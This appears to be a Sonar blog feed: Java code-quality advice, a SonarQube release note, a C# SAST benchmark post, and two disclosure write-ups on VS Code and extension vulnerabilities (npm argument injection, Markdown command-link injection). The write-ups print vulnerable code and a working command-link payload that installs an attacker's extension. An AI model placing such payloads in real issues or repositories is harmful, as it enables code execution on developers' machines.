Team collaboration: some team members might not be sure which features will be included in the final release
Bugs: not implementing those parts now could lead to bugs in the future as this feature was expected
Performance: Usually, these TODO blocks are important but developers don’t want to block the new feature, so maybe this importance can leak performance in the future
Here we have an example of a real project, Apache Camel, with a TODO line introduced 9 years ago.
SslHandler sslHandler = configureClientSSLOnDemand();
    if (sslHandler != null) {
         //TODO  must close on SSL exception
         //sslHandler.setCloseOnSSLException(true);
         LOG.debug("Client SSL handler configured and added to the ChannelPipeline: {}", sslHandler);
         addToPipeline("ssl", channelPipeline, sslHandler);
     }
Hint: do not add new TODO blocks and implement the feature before submitting the code or record these tasks in the proper task manager to tackle them in the future.
Sonar rule
3. String literals duplicated
Having duplicated strings will lead to extra work or missing changes when those values need to be changed to adjust to new conditions. 
// Noncompliant - "action1" is duplicated 3 times
public void run() {
  prepare("action1");   
  execute("action1");
  release("action1");
}
Hint: use constants to store string literals, it will make refactoring easier and improve the consistency of the code base.
// Compliant
private static final String ACTION = "action1";

public void run() {
  prepare(ACTION);   
  execute(ACTION);
  release(ACTION);
}
Sonar rule
4. Cognitive Complexity of functions should not be too high
You are probably more used to hearing about cyclomatic complexity, a concept to measure how many paths are used in the code and, therefore, the level of reading complexity for a given part of the code. 
But cyclomatic complexity can not express the real maintainability level that needs more considerations apart from the number of conditionals and loops. Take a look at this blog to understand more about cognitive complexity.
It's important to reduce the code complexity in order to make easier refactoring, fixes, and evolutions, as developers spend way more time reading than writing code.
The key takeout of this issue is that usually projects are hard to read and understand, and this will impact knowing its intention and tackling its maintenance and evolution. When you come across code that has high cognitive complexity you should invest in refactoring the code so that your code-base becomes more understandable and maintainable over time.
Hint: consider the complexity index of your new code and invest time trying to reduce it according to the configured threshold that should be low enough.
Sonar rules
5. Unused elements should be removed
It’s so common that when we start coding a feature we create elements of the code that at the moment of merging it to the main branch, no longer have any purpose. These unused elements do not cause runtime errors or failing tests so, it’s hard to spot these elements, that need to be removed, or in the worst case, that will force us to rethink the code if what it’s right is the existence of the element.
Unused elements will reduce the readability of the code making it harder to identify the intention of the code and give confidence in its completion, you should remove them.  
public class MyClass {
    private int foo = 42;   //private field not used

    public int compute(int a, int b) { //b argument not used
   int c = 10; //local variable not used
       return a * 42;
    }

  public int run() {
    int value=10; //assignment not used
    value=compute(2, 5);
  }
}
Hint: check the unused code and remove the one that is no longer used or consider if there’s missing code that would use those dead elements.
Sonar rules imports, assignments, variables, private fields, parameters
6. Raw types should not be used
In Java you should not use generic types without type parameters as it avoids the type checking and catching of unsafe code during the compilation, making everything visible during runtime.
// Noncompliant
List myList; 
Set mySet; 
Hint: use specific types that will give the right idea to the users of those variables what is really expected, and ensure no surprises appear during runtime.
// Compliant solution
List myList;
Set mySet;
Sonar rule
7. Generic exceptions should never be thrown
The usage of generic exceptions prevents the calling methods from handling different system-generated exceptions and application-generated errors.
// Noncompliant
public void foo(String bar) {  
   if (bar.isEmpty()) {  
    throw new Exception();     
  }
  if (bar == "jello") {
    throw new Exception();
  }
  System.out.println("This is bar: " + bar);
}
Hint: create a custom system of exceptions that will provide enough information to the caller in order to decide what to do, having a detailed and differentiated list of catches.
// Compliant
public void fooException(String bar) {  
   if (bar.isEmpty()) {  
    throw new EmpyValueException();     
  }
  if (bar == "jello") {
    throw new InvalidArgumentException();
  }
  System.out.println("This is bar: " + bar);
}
Sonar rule
Conclusions
We’ve seen some of the issues detected on all the projects analyzed by SonarLint, that are impacting not only the intentionality of the code but also the consistency and the adaptability of the software produced. 
You can detect these issues by using a tool like SonarLint. This follows the Clean as You Code methodology that helps you clean up a project by focusing on the new code introduced. Using SonarQube/SonarCloud can then ensure no new issues are merged into your project by providing a customizable Quality Gate.




Visual Studio Code Security: Finding New Vulnerabilities in the NPM Integration (3/3)
Thomas Chauchefoin, Paul Gerste — Mon, 20 Nov 2023 23:00:00 GMT
Welcome back to our series on the security of Visual Studio Code! We strongly encourage you reading first Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)  to refresh your memory on the most common types of vulnerabilities in Visual Studio Code as it will come in very handy today.

This time, we dive into two new vulnerabilities in the built-in integration of the JavaScript package manager, NPM. They can be exploited even when Visual Studio Code is configured to not trust the current folder, effectively circumventing the Workspace Trust security feature.

We recommend all Visual Studio Code users to upgrade to Visual Studio Code 1.82.1 or above to benefit from protection against these vulnerabilities. 
It all starts with a meeting…
There's a fun anecdote behind these discoveries. While rehearsing our DEF CON talk on this topic, we paused on this slide that shows a command injection vulnerability (CVE-2020-16881) found by David Dworken in the NPM integration:
To address this issue, Microsoft started to validate the contents of the variable pack with a regular expression to limit the presence of malicious characters. This patch was quickly bypassed by Justin Steven with CVE-2020-17023:

The researcher also contributed a patch that addresses the issue in a way that CVE-2020-16881 should have been addressed in the first place—more information on this can be found in the original ticket #107951.

Two vulnerabilities on a single feature are not uncommon, but from our experience, we also know that developers addressing command injection vulnerabilities often leave an argument injection vulnerability at the same location. Could this be the case here?

Even if there is a vulnerability, this may be a risk accepted by the threat model of the software. Before jumping to any conclusion, we first have to understand how this extension works. 
Let's get more familiar with the NPM integration!
Looking into the NPM integration, we can quickly notice that this is a built-in extension that is enabled by default. In its manifest, it declares that it can run even in untrusted workspaces and triggers when the current directory contains a file named package.json:

{
  "name": "npm",
  "publisher": "vscode",
  // [...]
  "activationEvents": [
    "onTaskType:npm",
    "onLanguage:json",
    "workspaceContains:package.json"
  ],
  "capabilities": {
    "virtualWorkspaces": {
      "supported": "limited",
      "description": "%virtualWorkspaces%"
    },
    "untrustedWorkspaces": {
      "supported": "limited",
      "description": "%workspaceTrust%"
    }
  },
  // [...]
}
extensions/npm/package.json

While the support of untrustedWorkspaces.supported is set to limited, the module does not really differentiate trusted and unsupported workspaces—it does not use workspace.isTrusted or similar features.

We have then the trail of a potential argument injection in a module that's enabled by default, which runs in unstrusted Visual Studio Code workspaces. Let's now confirm if this is a valid finding!
CVE-2023-36742, Part 1: Argument Injection
The function depicted in the slides above is npmView(). When a package.json file is open, one of the functionalities of this module is to show information on the name of the dependency when hovered by the user's cursor.
Its full implementation is as follows, where pack is the variable that contains the name of the hovered dependency:
import * as cp from 'child_process';
// [...]
private npmView(npmCommandPath: string, pack: string, resource: Uri | undefined): Promise {
  return new Promise((resolve, _reject) => {
    const args = ['view', '--json', pack, 'description', 'dist-tags.latest', 'homepage', 'version', 'time'];
    const cwd = resource && resource.scheme === 'file' ? dirname(resource.fsPath) : undefined;
    cp.execFile(npmCommandPath, args, { cwd }, (error, stdout) => {
      // [...]
    });
  });
}
extensions/npm/src/features/packageJSONContribution.ts

This allows an attacker to add arbitrary arguments to the invocation of NPM, but what could be done with it?
Exploitation
Though this seemed like a powerful primitive in the first place, practical exploitation is unlikely. The most interesting idea was to use NPM's option to change its global configuration, --globalconfig. It would result in the following command-line, effectively loading an arbitrary configuration from a local file named description that would also be part of the malicious project:
npm view --json --globalconfig description dist-tags.latest homepage version time

But after some research, there's no "dangerous" configuration direction in the latest version version of npm. There was one, onload-script that pointed to a JavaScript module to execute before npm view, and it was removed in npm v7—for security reasons!

However, we found that Ubuntu 20.04.6 TLS, which is still supported, embarks NPM 6.14.4 that would still process onload-script.

Because onload-script is relative to Node's library paths, like /usr/share/npm/node_modules, this requires an absolute path to the script to execute. On Linux systems, this can be solved by using /proc/self/cwd/ that points to the current folder, but this is not as trivial on all systems.

It may not reflect the constraints of more recent versions of NPM and other platforms, but it still shows that in some cases it could be leveraged to execute arbitrary commands on behalf of the user in untrusted workspaces.

Watch the video

We've added this vector to our Argument Injection Vectors project, including a mention of this caveat. Let us know if you find other interesting ones for npm!
CVE-2023-36742, Part 2: NPM Local Configuration File
Since the command npm is executed, would it also happen to trust files from the local directory? That's one of the principal sources of security issues in Visual Studio Code we documented in Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3). This can be confirmed either by using dynamic tools—here strace to identify filesystem accesses—or… by reading the documentation:
Notice the first line: per-project configuration files are supported. That means that this same call to npm view will attempt to read the configuration from the current folder. This basically has the same power as CVE-2023-36742, Part 1: Argument Injection: with full control over the configuration of NPM, attackers could execute arbitrary commands on the victim's system in some cases.
Watch the video
How did Microsoft address these vulnerabilities?

  Date Action
  Aug 8, 2023 We reported the two issues to Microsoft through their MSRC platform.
  Aug 21, 2023 Microsoft confirmed the issues.
  September 9, 2023 Microsoft closed the first issue as a duplicate of the second issue.
  Sept 12, 2023 Visual Studio Code 1.82.1 is released, fixing CVE-2023-36742.

On September 8, Microsoft developers Martin Aeschlimann and Christof Marti pushed a patch addressing the argument injection and mitigating the risks around the use of local configuration files by NPM in e7b3397. Despite distinct root causes and requirements, Microsoft assigned CVE-2023-36742 to both reports, arguing they were both fixed in a single commit.

First, they chose to tighten the validation of package names based on a similar implementation as the package validate-npm-package-name:
--- a/extensions/npm/src/features/packageJSONContribution.ts
+++ b/extensions/npm/src/features/packageJSONContribution.ts
@@ -252,11 +252,12 @@ export class PackageJSONContribution implements IJSONContribution {
 	}
 
 	private isValidNPMName(name: string): boolean {
-		// following rules from https://github.com/npm/validate-npm-package-name
-		if (!name || name.length > 214 || name.match(/^[_.]/)) {
+		// following rules from https://github.com/npm/validate-npm-package-name,
+		// leading slash added as additional security measure
+		if (!name || name.length > 214 || name.match(/^[-_.\s]/)) {
 			return false;
 		}
-		const match = name.match(/^(?:@([^/]+?)[/])?([^/]+?)$/);
+		const match = name.match(/^(?:@([^/~\s)('!*]+?)[/])?([^/~)('!*\s]+?)$/);
 		if (match) {
 			const scope = match[1];
 			if (scope && encodeURIComponent(scope) !== scope) {

While this method tries to mimic the behavior of this package, they have small implementation differences. For example, validate-npm-package-name agrees that --help is a valid package name, while isValidNPMName() disagrees.

Then, they introduced the end-of-options POSIX argument to separate options from positional arguments, making it impossible to inject new arguments in the call to npm view:

--- a/extensions/npm/src/features/packageJSONContribution.ts
+++ b/extensions/npm/src/features/packageJSONContribution.ts
@@ -284,7 +285,7 @@ export class PackageJSONContribution implements IJSONContribution {
 
 	private npmView(npmCommandPath: string, pack: string, resource: Uri | undefined): Promise {
 		return new Promise((resolve, _reject) => {
-			const args = ['view', '--json', pack, 'description', 'dist-tags.latest', 'homepage', 'version', 'time'];
+			const args = ['view', '--json', '--', pack, 'description', 'dist-tags.latest', 'homepage', 'version', 'time'];
 			const cwd = resource && resource.scheme === 'file' ? dirname(resource.fsPath) : undefined;
 			cp.execFile(npmCommandPath, args, { cwd }, (error, stdout) => {
 				if (!error) {

Interestingly, the npm binary will still load potentially malicious configuration files, but the extension will only be enabled in trusted workspaces—the vulnerability is still here, only now it's behind the Workspace Trust prompt: 

--- a/extensions/npm/src/npmMain.ts
+++ b/extensions/npm/src/npmMain.ts
@@ -97,7 +97,7 @@ export async function activate(context: vscode.ExtensionContext): Promise
 }
 
 async function getNPMCommandPath(): Promise {
-	if (canRunNpmInCurrentWorkspace()) {
+	if (vscode.workspace.isTrusted && canRunNpmInCurrentWorkspace()) {
 		try {
 			return await which(process.platform === 'win32' ? 'npm.cmd' : 'npm');
 		} catch (e) {

Reflexions around these patches
Retrospectively, these patches could be made simpler to address all historical issues and our new findings. This is a common pattern we often see when disclosing vulnerabilities to big code bases, where security patches often only try to address singular issues. Over time, it complexifies the code and makes later security reviews harder. It becomes also harder for future developers to work on this feature.

At Sonar, we believe that code quality and security are intimately linked—so much so that they are pillars of what we call Clean Code. It is important to make such code Intentional (clear, logical, etc.) and Adaptable, to ensure its Maintainability and Security. 

In practice, with the patches above, the code stays in a state in which future developers have to grasp and understand all previous decisions to work on it efficiently. They are likely to introduce new or re-introduce old defects, bugs, or vulnerabilities.
Reflexions around Workspace Trust
Overall, we still think that Workspace Trust is a great feature, a net benefit for developer's security, and we came to slightly nuance our position on this over the last months. 

We're not surprised to find several bypasses around it—security features like this are primarily here to raise the bar for attackers and not fix all holes systematically—but we worry about how easy it became for Microsoft to sweep these issues under the "Workspace Trust" rug. 

If a component becomes the source of many vulnerabilities, it is often put behind Workspace Trust rather than trying to find a way to keep the same set of features more safely. For instance, in the case of the NPM vulnerabilities we just covered, other ways to fetch packages' information exist without relying on an external command call, and using them would have addressed our two findings as well.

Hence, we think that users will be more prone to trust third-party workspaces, so they can fully benefit from basic integrations like Git and NPM. 

The experience of security-conscious users could also be greatly improved by allowing them to not trust any project by default. This systematic prompt is likely to create a form of alert fatigue if you are dealing with many projects and are prompted every time. A similar feature request already exists on GitHub, under #126311. 

Finally, one can note that such built-in extensions, enabled by default, are also excluded from monetary rewards of the Microsoft Bounty Program. Third-party security researchers are thus less incentivized to look for Workspace Trust bypasses and make this security feature stronger.
Summary
In this publication, we came back to two vulnerabilities in Visual Studio Code, both related to the NPM integration.

Stepping back from this research, we can also notice how close these bugs are to previous ones we found in the Git integration, CVE-2021-43891, and CVE-2022-30129. They have exactly the same root cause and impact, but only in another component. In this case, NPM security hardening paid off and prevented broader exploitation of the issues introduced by Visual Studio Code.

Another general takeaway from this research is that CVEs tend to point to fragile code. It may sound obvious but it's very common for developers and security practitioners to think that previous vulnerabilities on an attack surface mean that many people already reviewed this code and found anything that is to be found. Reality is more complex than that, and previous CVEs should never stop you from doing code reviews. Justin Steven has been fairly successful with this technique!

Speaking as Visual Studio Code enthusiasts ourselves, we still think that Workspace Trust is a powerful security feature, but it shouldn't be considered enough when dealing with potentially malicious material or when having high security requirements.

We would like to thank all Microsoft employees involved in the disclosure process, from MSRC triagers to Visual Studio Code developers, for their help in addressing our findings.

This post concludes our series on the security of Visual Studio Code, and our research on this topic. We've had fun doing it and sharing our findings with a broader audience. Stay tuned for new vulnerabilities!
Related Blog Posts
Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)
Visual Studio Code Security: Markdown Vulnerabilities in Third-Party Extensions (2/3)
Securing Developer Tools: Argument Injection in Visual Studio Code
Securing Developer Tools: Git Integrations


SonarQube 10.3 Release Announcement
Robert Curlee — Wed, 15 Nov 2023 15:00:00 GMT
Sonar is excited to bring you the latest SonarQube release with significant security enhancements and new Clean Code changes.
Highlights of the SonarQube 10.3 release… 
Secrets Detection at the Source
Sonar’s new Secrets Detection engine helps you find and eliminate secrets at the source in your IDE with SonarLint and further prevents them from entering your CI/CD Pipeline with SonarQube. For Enterprise Edition users and above, you can protect your private company secrets with custom rules.
Clean Code Taxonomy Updates
Changes to Pull Requests, External Issues, propagation of new rules, and improvements to Quality Profile inheritance together help turn your attention toward the cause of poorly written code and not the result, reducing confusion and simplifying the experience of issue resolution.
Clean as You Code Improvements
Avoid the headache of cleaning legacy code by cleaning only new code. We are introducing a new zero issues Sonar way Quality Gate that prevents any issues from entering your newly developed code. With the new Sonar way Quality Gate, being able to open an issue in the IDE from SonarQube for quick issue resolution, and resolving external issues in SonarQube, introducing any new technical debt to your projects will be a thing of the past. As a side benefit, over time, you will also realize a reduced technical debt in your legacy code.

Learn more about Clean as You Code criteria and the new Sonar way Quality Gate.

Stronger Security
Along with our new Secrets Detection engine, we’ve added the new 2023 CWE top 25 Report for performing risk assessment. There is now a two-way sync of issue status with the GitLab Vulnerability report. Enhanced support for Dockerfiles and a few other security issues deliver more robust security capabilities to you.
Easy Onboarding
For users of GitHub, we now auto-provision a SonarQube project when an analysis is triggered in GitHub. You can automate GitHub project setup via API. Manual sync of users, permissions, and groups between SonarQube and GitHub is no longer needed because auto-sync has been added, so SonarQube will always match your GitHub configuration.
Operational Improvements & Language Updates
There are quite a few changes in both operational improvements and language updates. Some highlights include upgrade change messaging to see precisely why your issue count has changed after an upgrade, first-class support for React, Razor templates, the Blazor framework, and new rules for NumPy and Pandas libraries in Python for Data Scientists and Machine Learning practitioners.

For more details, see the 10.3 release announcement and our product 10.3 release notes.
Are you still on an older SonarQube version? 
If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTS before upgrading to 10.3. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTS upgrade webinar highlighting a step-by-step approach and common pitfalls encountered during the upgrade. 
SonarQube is a DevOps Dozen finalist! 
Share your love for SonarQube — cast your vote for SonarQube in the Best Testing/Service Tool category for the DevOps Dozen Awards. Voting closes on December 31st. 




Visual Studio Code Security: Markdown Vulnerabilities in Third-Party Extensions (2/3)
Paul Gerste — Tue, 14 Nov 2023 18:00:00 GMT
Last week's blog post summarized our DEF CON talk "Visual Studio Code Is Why I Have (Workspace) Trust Issues". We presented common attack surfaces of the popular code editor Visual Studio Code (VSCode) and showed examples for each of them, either found by us or by other researchers.

When looking at a vulnerability that used a special command: link to trigger certain actions, we were intrigued and investigated further. After not finding a vulnerability related to those links in VSCode itself, we turned to third-party extensions that have millions of users themselves.

In this blog post, we present code vulnerabilities we found in GitLens (27 million installs) and GitHub Pull Requests and Issues (15 million installs). We will first give some background on VSCode internals, then explain the vulnerable portions of the code, and finally show how these issues can be prevented.
Impact
We found and responsibly disclosed three vulnerabilities in the code of third-party VSCode extensions, two in GitLens by GitKraken and one in GitHub Pull Requests and Issues by GitHub:
GitLens: Git local configuration leading to Arbitrary Code Execution (CVE-2023-46944)
GitLens: Markdown Injection leading to Arbitrary Code Execution (CVE pending)
GitHub Pull Requests and Issues: Markdown injection leading to Remote Code Execution (CVE-2023-36867)

All three vulnerabilities are fixed. The affected versions are GitLens before version 14.0.0 and GitHub Pull Requests and Issues before version 0.66.2. The latter one is pre-installed in GitHub Codespaces and on github.dev, GitHub's web version of VSCode.

Fortunately, VSCode updates extensions automatically by default, so most users are expected to be safe as of now. If in doubt, you can always double-check which version you use by going to the Extensions tab in VSCode's sidebar, searching for the respective extension, and clicking on the entry to see the extension's details, including the version number.

All three vulnerabilities require some interaction from the victim of the attack. The first GitLens issue (CVE-2023-46944) requires the user to open a malicious folder in VSCode. The second GitLens issue requires the user to click on a certain UI element that appears when opening an untrusted repository in VSCode. The third issue requires the user to click on a certain UI element that is shown based on a malicious GitHub issue or pull request.

Both GitLens vulnerabilities can be exploited in untrusted workspaces, bypassing the Workspace Trust security boundary of VSCode. The third vulnerability can only be triggered in trusted workspaces, but since attackers can abuse it remotely to attack maintainers of open-source projects, the victims are likely to trust their own projects, allowing the attack to be successful.
Technical Details
In 2021, we found a vulnerability in VSCode that is related to local Git configurations. You can read the details in our blog post from back then, but it boils down to the fact that running the git executable on untrusted repositories is inherently unsafe because repositories can have their own local configuration that will override the global or user config. Since there are quite some settings that allow to specify custom commands that should be run when certain events occur, it is pretty straightforward to turn this into arbitrary code execution.

The recommended fix is to avoid running git on untrusted repos, for example by disabling the entire Git integration in untrusted VSCode workspaces. VSCode implemented this fix for the built-in Git integration, but what about third-party extensions that also use Git?
GitLens: Git Local Configuration Leads to Code Execution (CVE-2023-46944)
GitLens is an extension developed by GitKraken and has 27 million installs at the time of writing this article. It offers additional features on top of what the built-in Git support of VSCode can do and aims to ease the lives of developers.

We noticed that it would also run in untrusted workspaces, which is a sign to take a closer look at the extension's security. If it uses files or data from the untrusted workspace in a security-sensitive way then attackers could use it to bypass the Workspace Trust boundary.

After observing that GitLens indeed runs git commands in the directory of the workspace, we tried our original payload that also worked for VSCode in 2021. As you can see, history repeats itself:

Watch the video

This would allow attackers to execute arbitrary code on the victim's system once a malicious repo is opened in VSCode. After this quick finding, we thought about other VSCode research we've seen in the past and how it could be applicable to third-party extensions such as GitLens.
GitLens: Markdown Injection Leads to Arbitrary Code Execution
In our previous blog post, we covered several attack surfaces of VSCode, including Cross-Site Scripting (XSS). One example of an XSS vulnerability in VSCode was CVE-2022-41034, discovered by Thomas Shadwell.

The initial entry point was to include arbitrary HTML in Markdown cells of Jupyter Notebooks. But to go from there to full-blown code execution, he took a different path than other researchers before him. While others would use the usual web attacks of finding and exploiting cross-origin messaging handlers to hijack more privileged origins, he found a way to go straight for code execution.

His magic ingredient was auto-clicking a command: link. These links are used throughout VSCode to let the user trigger actions with a click. There are hundreds of these commands, and they can trigger all kinds of actions, from toggling UI elements to starting a debugging session. Even third-party extensions can register new actions that can then be triggered by the user or by other extensions.

After reading Thomas' work, we realized that a big portion of VSCode's UI is just based on Markdown. As an example, an extension can show a custom popup when the user hovers over a piece of code by listening for such an event and supplying a Markdown string with the information that should be shown:

vscode.languages.registerHoverProvider('javascript', {
  provideHover(document, position, token) {
    return {
      contents: [new vscode.MarkdownString('# Hover **Content**')]
    };
  }
});

This is exactly what GitLens does to show detailed information about a Git commit. When a user hovers over the inline blame information that GitLens adds to the currently focused line of code, a popup appears. It lists details such as the commit's author, the commit message, and a per-line diff of the changes:


Let's take a look at the code that creates this view:

src/hovers/hovers.ts:
function changesMessage(/* ... */) /* ... */ {
  // ...
  current = `[$(git-commit) ${commit.shortSha}](${ShowQuickCommitCommand.getMarkdownCommandArgs(commit.sha)} "Show Commit")`;
  // ...
  message = `${diff}\n---\n\nChanges${previous ?? ' added in '}${current}   |   ${message}`;
  const markdown = new MarkdownString(message, true);
  // ...
  return markdown;
}

As we can see, GitLens creates a Markdown string by interpolating information from Git into a Markdown template. GitLens also uses command: links, for example, to give the user the ability to open a diff of the whole file. To allow the use of command: links, GitLens sets the isTrusted property of the resulting Markdown string to true:

src/hovers/hovers.ts:
const markdown = new MarkdownString(message, true);
markdown.supportHtml = true;
markdown.isTrusted = true;
return markdown;

This is required because VSCode sanitizes Markdown strings during rendering and will discard command: links from non-trusted strings. But since it is set to true here, attackers could try to somehow insert malicious command links that could trigger unsafe actions.

Looking at how the line diff is generated, we can see that the previous and the current content of the line of code is interpolated into a Markdown code block:

src/hovers/hovers.ts:
function getDiffFromHunkLine(hunkLine) {
  // ...
  return `\`\`\`diff${
      hunkLine.previous == null ? '' : `\n- ${hunkLine.previous.line.trim()}`
    }${
      hunkLine.current == null ? '' : `\n+ ${hunkLine.current.line.trim()}`
    }\n\`\`\``;
}

There is no Markdown sanitization happening, but the content is inside a code block that does not allow usage of other Markdown until the code block is closed. All that is needed to escape the code block is to insert a closing code fence consisting of three backticks (```). The closing code fence is required to be at the beginning of a line and the user-controlled content is prefixed with either a plus or a minus sign to make it valid diff syntax. But GitLens only shows the diff for a single line, so how can the three backticks be at the beginning of a line?

Looking at how the Markdown parser determines the start of a line, we can observe that it recognizes the line feed character (\n), the carriage return character (\r), and the combination of both (\r\n) as the separator of two lines. However, GitLens only recognizes the line feed character (\n) to be a line separator:


This creates a parsing difference that attackers can abuse to inject Markdown. By placing a \r character into a line, they can make GitLens include it in the line diff string. When the Markdown renderer of VSCode encounters the \r, it will treat it as a line separator, putting the following three backticks in a new line. This will end the code block and allow the attacker to include arbitrary Markdown:


The attacker can now add arbitrary Markdown to the hover popup. To show that this is security-sensitive, the attacker can insert a Markdown link that points to a command: URL and triggers a VSCode action when clicked.

In the original research that inspired us to dig more into this type of bug, the researcher used the command that opens a new terminal inside VSCode. It is possible to specify the executable and arguments that will be run in the terminal, but this command is only available in trusted workspaces. Since our scenario tries to bypass Workspace Trust, it has to be usable in untrusted workspaces.

Looking through the long list of available commands, we found it to be possible to trigger the installation of an arbitrary extension from the VSCode marketplace using the workbench.extensions.installExtension command. It takes the extension's ID in a query parameter and will then install and activate the extension.

The VSCode marketplace is available to everyone and publishing extensions is very easy. There is no manual review process, so new extensions can be installed by anyone within minutes after the extension is published.

This allows attackers to publish a malicious extension and then use the install command to run the install and run the malicious extension on the victim's machine. We created a dummy extension to show the successful execution of arbitrary commands by popping a calculator:

Watch the video

After finding this vulnerability, we continued to look through VSCode's marketplace to find more extensions that use attacker-controlled data unsafely when building Markdown UI elements.
GitHub Pull Requests and Issues: Markdown Injection Leads to Code Execution (CVE-2023-36867)
This extension, made by GitHub, allows its users to manage issues and pull requests of their projects directly from their IDE. This includes viewing the description of those, which are typically use Markdown for rich-text features:


To avoid Markdown injection, the GitHub extension first renders the raw description to text:

src/issues/util.ts:
let body = marked.parse(issue.body, {
    renderer: new PlainTextRenderer(),
});

This consumes the special Markdown character sequences and only outputs the actual content. But there is an issue with this: if the actual content still contains Markdown sequences, they will then be rendered by VSCode!

A simple example of this is a code block. As we already learned previously, the text between code fences is treated as raw text. All special Markdown characters and sequences are put into the output verbatim.

Attackers can abuse this by creating a GitHub issue that contains a Markdown code block, that in turn contains a Markdown link with a command: URL:

```plain
# [Click here](command:workbench.extensions.installExtension?["pspaul.pop-a-calc",{"donotSync":true}])
```

On GitHub's web interface, such a description would be rendered as follows:


However, the GitHub Pull Requests and Issues extension consumes the surrounding code fence during the plaintext rendering pass and causes the Markdown link to be rendered:


When the victim views the issue using the VSCode extension and clicks on the link, the attacker-controlled extension will be installed and run. The impact of this vulnerability can be considered Remote Code Execution because attackers can create a GitHub issue or PR to target the maintainers of the project without requiring the victim to download and open malicious files.

Watch the video
Patch
GitLens
When we reported the two issues to GitLens, they were already aware of the Git local config issue and were already planning to disable the Git integration for untrusted workspaces. This also prevents the second issue from being exploitable, since no attacker-controlled commit information will be shown in the UI when the integration is turned off.

As we mentioned earlier, not executing any Git commands in untrusted repos is the safest approach. Git has a lot of complexity, so trying to prevent just the exploitable behaviors is bound to fail. Additionally, Git is still being developed, so new features would have to be considered as soon as they are released.
GitHub Pull Requests and Issues 
GitHub fixed the vulnerability in their extension by not setting the isTrusted property on their created Markdown strings:

  const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true);
- markdown.isTrusted = true;

This is of course the safest option but it also prevents the developers from using command: links. If you really need to use them in your Markdown, you can set the isTrusted property to a list of allowed commands. This will prevent attackers from using arbitrary commands in case they find a way to inject Markdown. You can find more information on this in the VSCode docs.

To avoid the underlying Markdown injection, make sure to always validate, sanitize, or escape data before using it to construct Markdown. A good way to do this in VSCode is to use the MarkdownString class that features the appendText function that properly escapes raw text before appending it.
Timeline
GitLens

  Date Action
  2023-06-07 We report the two vulnerabilities to GitLens
  2023-06-07 We get an automated acceptance response from GitLens
  2023-06-15 GitLens releases version 14.0.0 that prevents the vulnerable behavior in untrusted workspaces
  2023-07-13 We notice the GitLens release and ask for CVEs and an update from GitLens
  2023-07-13 We get another automated acceptance response from GitLens
  2023-07-15 We get a ticket reference from GitLens, stating they are looking into it
  2023-09-01 GitLens awards us with a $100 bug bounty for the Markdown issue
  2023-11-03 CVE-2023-46944 is assigned by MITRE
GitHub Pull Requests and Issues

  Date Action
  2023-06-12 We report the vulnerability in GitHub Pull Requests and Issues to Microsoft
  2023-06-16 Microsoft confirms the issue
  2023-07-11 CVE-2023-36867 is assigned by Microsoft
  2023-07-14 Microsoft releases a fix in version 0.66.2 of GitHub Pull Requests and Issues
Summary
In this article, we took a look at the security of some third-party Visual Studio Code extensions. We saw three vulnerabilities in extensions with millions of installs, all of which have interesting attack vectors that require user interaction to be exploited. We also learned how Markdown is used to create many parts of VSCode's UI, and what risks this has.

Next week, we will finish our series on Visual Studio Code with some new vulnerabilities in VSCode itself. Stay tuned!
Related Blog Posts
Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)
Securing Developer Tools: Argument Injection in Visual Studio Code
Securing Developer Tools: Package Managers
Securing Developer Tools: Git Integrations
Securing Developer Tools: OneDev Remote Code Execution


Sonar's Scoring on the Top 3 C# SAST Benchmarks
Alexandre Gigleux — Tue, 07 Nov 2023 23:00:00 GMT
In our previous blog posts of this series about SAST benchmarks, we discussed the importance of leveraging benchmarks to track the progress of our SAST capabilities and revealed how Sonar scores on the Top 3 Java SAST benchmarks. We recommend reading these articles before reading this one to get all the context.

Today, we are excited to share more details about the Top 3 C# SAST benchmarks, namely:
The ground truth corresponding to the list of expected and not expected issues
How Sonar scores on these selected benchmarks
Our approach
We took the same approach to select the C# SAST benchmarks as the Java ones. Surprisingly, it was harder because there are far fewer projects considered SAST benchmarks in the .NET ecosystem than in the Java one. We looked at 109 projects available on GitHub related to SAST benchmarks. Out of these, we selected these 3 C# projects:

NIST Juliet C# 1.3
WebGoat.Net
FlowBlot.NET
Our findings
At Sonar, we consider that a good SAST solution should have a True Positive Rate of 90% and a False Discovery Rate lower than 10%.

Let's now proceed to share the scores of Sonar against these benchmarks:
As you will see, the results are pretty good and close on average to our 90% TPR target.
In each case, we will not give up and will continue to improve our C# SAST engine to always provide more accurate and actionable results.
Our computation
We said it in part one of this blog series, usually SAST vendors make claims but don’t provide anything to reproduce or substantiate their results. At Sonar, we want to change that. To replicate these results, access the ground truths provided in the sonar-benchmarks-scores repository. It's recommended to utilize the most recent version of the SonarQube Enterprise Edition and here is why.
FlowBlot.NET
The FlowBlot.NET case is a little bit special. It was made to illustrate pure SAST capabilities and it doesn’t rely at all on real-life sources (where the malicious user inputs can be entered) or sinks (where the vulnerabilities can be triggered because of the malicious inputs). To be clearer, it uses fake sources and fake sinks. Out of the box without additional configuration, Sonar will find almost nothing on this project. This is expected because the Sonar security engine is made to find real-world vulnerabilities and has no knowledge about these fake sources and sinks. In order to raise the expected issues, we also had to rely on the Custom Config feature of Sonar’s security engine to declare the fake sources and sinks so that they are considered real ones.
Juliet Test Suite
By default, the Sonar security engine only considers Web/API user inputs and network sockets as sources of vulnerabilities. The Juliet benchmark is a gigantic test suite made of 28,942 test cases covering different domains (security, reliability, maintainability, and more). Of these, 16,968 test cases are related to the security domain. Among these test cases, 4,638 are related to sources that are not supported by default such as injection of command line (CLI) arguments. In order to raise the expected issues, we had to leverage the Custom Config feature of Sonar’s security engine to declare these additional sources. They are also provided in the sonar-benchmarks-scores repository.
Custom Configuration
For more information about the Custom Config feature of Sonar’s security engine, please refer to the SonarQube Enterprise Edition documentation (this feature is not available yet on SonarCloud).

The ground truths correspond to the Sonar AppSec team's perspective on the issues that should be detected or not detected. We had to make some choices when building the ground truths because SAST benchmarks can’t be trusted blindly. We acknowledge that we may have made mistakes, so if you come across any misclassifications, please don't hesitate to report them here.
Final word
